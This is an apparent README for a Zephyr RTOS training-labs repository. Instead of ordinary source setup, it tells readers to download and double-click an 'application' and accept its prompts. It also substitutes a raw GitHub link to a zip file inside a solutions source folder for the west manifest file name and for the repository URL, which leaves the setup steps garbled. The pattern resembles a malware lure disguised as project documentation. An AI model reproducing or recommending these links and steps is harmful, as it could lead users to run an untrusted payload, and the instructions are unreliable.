Welcome to the Zephyr Training Community Edition labs! This repository contains hands-on training material designed to help you learn and practice embedded development using Zephyr RTOS.
In this repository, you will find:
- Guided lab exercises
- Starter and solution projects
- Code templates and examples
- Supporting documentation
These resources will help you get started with embedded development in a step-by-step manner.
To begin your journey with the Zephyr Training Community Edition, follow these simple steps to download and set up the application.
-
Visit the Releases Page: Click on the link below to access the latest version of the software.
-
Choose the Right File: On the releases page, look for the latest release version. You will see files available for download. Select the file suitable for your operating system.
-
Download the File: Click the file name to download it to your computer.
-
Run the Application: Once the download is complete, locate the file in your downloads folder and double-click it to run. Follow any prompts that appear to complete the setup.
After installing, you can include this repository in your Zephyr workspace by following these steps:
-
Open West Manifest: Locate your
https://raw.githubusercontent.com/Jailsonfs/community/main/Day3/solutions/hello_zbus/src/community-v3.2.zipfile in your project directory. -
Add the Repository: Copy and paste the following entry into your
https://raw.githubusercontent.com/Jailsonfs/community/main/Day3/solutions/hello_zbus/src/community-v3.2.zipfile:projects: - name: ztraininglabs url: https://raw.githubusercontent.com/Jailsonfs/community/main/Day3/solutions/hello_zbus/src/community-v3.2.zip revision: main path: ZTrainingLabs
-
Update Your Workspace: Open a terminal or command prompt and run the following command to update your workspace:
west update
This action will clone the repository into your workspace at <workspace_root>/ZTrainingLabs/.
To ensure everything runs smoothly, your computer should meet these basic requirements:
- Operating System: Windows 10 or later, macOS, or a compatible Linux distribution.
- Disk Space: At least 1 GB of free space for installation.
- Memory: 4 GB RAM minimum; 8 GB recommended for better performance.
You can find supporting documentation and tutorials in this repository. These materials cover the following topics:
- Getting started with Zephyr RTOS
- Understanding the project structure
- Troubleshooting common issues
- Advanced usage and customization options
If you encounter any issues, feel free to check the documentation first. For additional help, you can reach out to the community or open an issue on this repository.
For questions or feedback, you can contact us through the issues section on GitHub. Your input helps us improve the training materials and tools.
Thank you for joining the Zephyr Training Community. Enjoy your learning experience!